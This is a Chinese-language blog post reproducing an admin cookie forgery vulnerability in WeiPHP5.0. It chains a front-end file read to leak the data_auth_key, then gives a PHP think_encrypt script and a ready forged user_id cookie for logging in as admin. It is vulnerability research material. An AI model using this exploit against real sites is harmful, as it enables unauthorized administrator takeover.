WeiPHP5.0 任意用户Cookie伪造

2022-05-16  本文已影响0人  N0puple

本文仅用于技术讨论与研究,文中的实现方法切勿应用在任何违法场景。如因涉嫌违法造成的一切不良影响,本文作者概不负责。

漏洞简介

WeiPHP5.0是在2019年停止更新的一个系统,漏洞挺多的,跟着复现分析一下,这里复现一下 WeiPHP5.0的任意用户 Cookie伪造漏洞

影响范围

WeiPHP5.0最新版

可以据此下载

https://www.weiphp.cn/doc/download_source_installation.html

漏洞复现

首先要利用前些天发布的 WeiPHP5.0 前台任意文件读取 读取 data_auth_key

image.png

访问 /index.php/home/file/user_pics后下载该文件

image.png

找到 data_auth_key的值为

'data_auth_key' => 'kE^&%X.IpoDq2US*n!u>@G8+#Rd{_]a<QfJ3Lg9?'

接下来利用 think_encrypt伪造 cookie,稍微改造一下即可

<?php
highlight_file(__FILE__);
function think_encrypt($data, $key = '', $expire = 0)
{
    $key = md5("kE^&%X.IpoDq2US*n!u>@G8+#Rd{_]a<QfJ3Lg9?");

    $data = base64_encode($data);
    $x = 0;
    $len = strlen($data);
    $l = strlen($key);
    $char = '';

    for ($i = 0; $i < $len; $i++) {
        if ($x == $l) {
            $x = 0;
        }

        $char .= substr($key, $x, 1);
        $x++;
    }

    $str = sprintf('%010d', $expire ? $expire + time() : 0);

    for ($i = 0; $i < $len; $i++) {
        $str .= chr(ord(substr($data, $i, 1)) + (ord(substr($char, $i, 1))) % 256);
    }
    return str_replace(array(
        '+',
        '/',
        '='
    ), array(
        '-',
        '_',
        ''
    ), base64_encode($str));
}

echo think_encrypt(1);

?>
image.png

因此可以构造

user_id=MDAwMDAwMDAwMIC1cp4

利用 hackerbar即可登录 admin

image.png

总结

这个漏洞利用的前提是获得 data_auth_key,本文中是结合了前台任意文件读取漏洞获取,总体来说,如果该前台任意文件读取漏洞被补掉之后,这个洞就几乎无用武之地了。

参考链接

github 链接:https://github.com/N0puple/vulPOC

想要获取更多资讯,或者获取文中环境可以关注公众号 “安全漏洞复现”,回复 “漏洞环境”

上一篇下一篇

猜你喜欢

热点阅读